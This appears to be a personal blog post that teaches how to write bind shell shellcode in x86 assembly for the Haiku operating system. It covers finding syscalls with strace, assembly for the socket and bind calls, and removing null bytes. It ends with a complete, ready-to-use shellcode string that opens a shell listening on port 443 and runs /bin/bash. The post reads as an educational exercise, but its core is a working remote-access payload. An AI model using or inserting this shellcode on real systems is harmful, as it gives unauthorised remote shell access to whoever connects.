Haiku x86 assembly: bind shell shellcode

Vegard Wærp
3 min readDec 4, 2018

--

After having written a “Hello, World” program in assembly, and then some simple shellcode that executes /bin/bash, my next project is to create bind shell shellcode.

My plan of attack is the following:

  1. Create a bind shell in C
  2. Create a bind shell in Assembly
  3. Convert the assembly bind shell to shellcode
  4. Test the shellcode

Create a C bind shell

The first step in creating our shellcode is to create a bind shell in C. Having done that, we can then use strace to se which syscalls are executed. The syscall corresponding numbers are from the syscalls.S.inc file we generated for the Hello, World program.

Using strace to identify syscalls

We end up with the following C code, which has been commented with the syscalls that is executed and their numbers:

We test the bind shell and it works as excepted. Our next step is to implement the same functionality in assembly using the syscalls we have identified.

Create an Assembly bind shell

When converting the code from C to assembly, we use the syscall numbers from syscalls.S.inc, the output from running strace on the C program, and /boot/system/develop/headers/private/system/syscalls.h for description and type for the parameters.

We start with socket() / _kern_socket(), which can be converted to the following Assembly code:

; _kern_socket()
push 6 ; IPPROTO_TCP
push 1 ; SOCK_STREAM
push 1 ; AF_INET
mov eax, 157 ; socket syscall
call _syscall
mov ebx,eax ; save file descriptor in ebx

Our next syscall is _kern_bind(), which was called from bind(). First we create the sockaddr_in struct in the data section:

section .dataaddr db   0x0,0x1,0x1,0xbb    ; len=0,family=AF_INET,port=443
dd 0x0,0x0,0x0,0x0,0x0 ; addr=INET_ANY,zero padding to a total of 18 bytes
len equ $ - addr

we push the length of the struct, the address to the struct and the file descriptor we got from _kern_socket, and execute the syscall

 push len    ; length
push addr ; address of sockaddr struct
push ebx ; file descriptor
mov eax, 158 ; _kern_bind syscall
call _syscall

The rest socket functions follow the same pattern of converting from C to Assembly, and for _kern_exec() and _kern_exit_team() we reuse the Assembly from the local shellcode. After doing this, we get our completed bindshell program:

We test it, and get a shell when connecting to port 443:

Converting to shellcode

Converting to shellcode is more or less the same as for the local shellcode, looking at the generated code and removing any null bytes by substituting the instructions containing null bytes with null-free instructions.

One part of the code that has to be changed more than the rest is the code for _kern_bind(), where we push the sockaddr struct on the stack:

; _kern_bind()
xor eax,eax
push eax
push eax
push eax
push eax
push eax
xor ecx,ecx
mov cx,0xbb01
shl ecx,0x8
add cx,0x1
shl ecx,0x8
push ecx
mov ecx,esp
push 18 ; length
push ecx ; address of sockaddr struct
push ebx ; file descriptor
mov al, 158 ; _kern_bind syscall
call _syscall

The resulting assembly can be seen below:

The commands from commandlinefu can then be used to generate the final shellcode:

~/Sources/asm/bindshell> objdump -d haiku_bindshell_shellcode |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x03\xcd\x63\xc3\x31\xc0\x6a\x06\x6a\x01\x6a\x01\xb0\x9d\xe8\xee\xff\xff\xff\x89\xc3\x31\xc0\x50\x50\x50\x50\x50\x31\xc9\x66\xb9\x01\xbb\xc1\xe1\x08\x66\x83\xc1\x01\xc1\xe1\x08\x51\x89\xe1\x6a\x12\x51\x53\xb0\x9e\xe8\xc7\xff\xff\xff\x31\xc0\x50\x53\xb0\xa1\xe8\xbc\xff\xff\xff\x31\xc0\x50\x54\x50\x53\xb0\xa2\xe8\xaf\xff\xff\xff\x89\xc1\x31\xc0\x50\x51\xb0\x99\xe8\xa2\xff\xff\xff\x83\xc4\x08\x6a\x01\x51\xb0\x99\xe8\x95\xff\xff\xff\x83\xc4\x08\x6a\x02\x51\xb0\x99\xe8\x88\xff\xff\xff\x31\xc0\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x50\x53\x89\xe1\x6a\x12\x50\x6a\x01\x6a\x16\x51\x53\xb0\x2b\xe8\x63\xff\xff\xff\x83\xc4\x30\x31\xc0\x50\xb0\x26\xe8\x56\xff\xff\xff"

Testing the final shellcode

The test program we made when creating the local shellcode can then be used to test our bind shell shellcode. We past in our shellcode, compile the test program, and get our bind shell:

--

--

No responses yet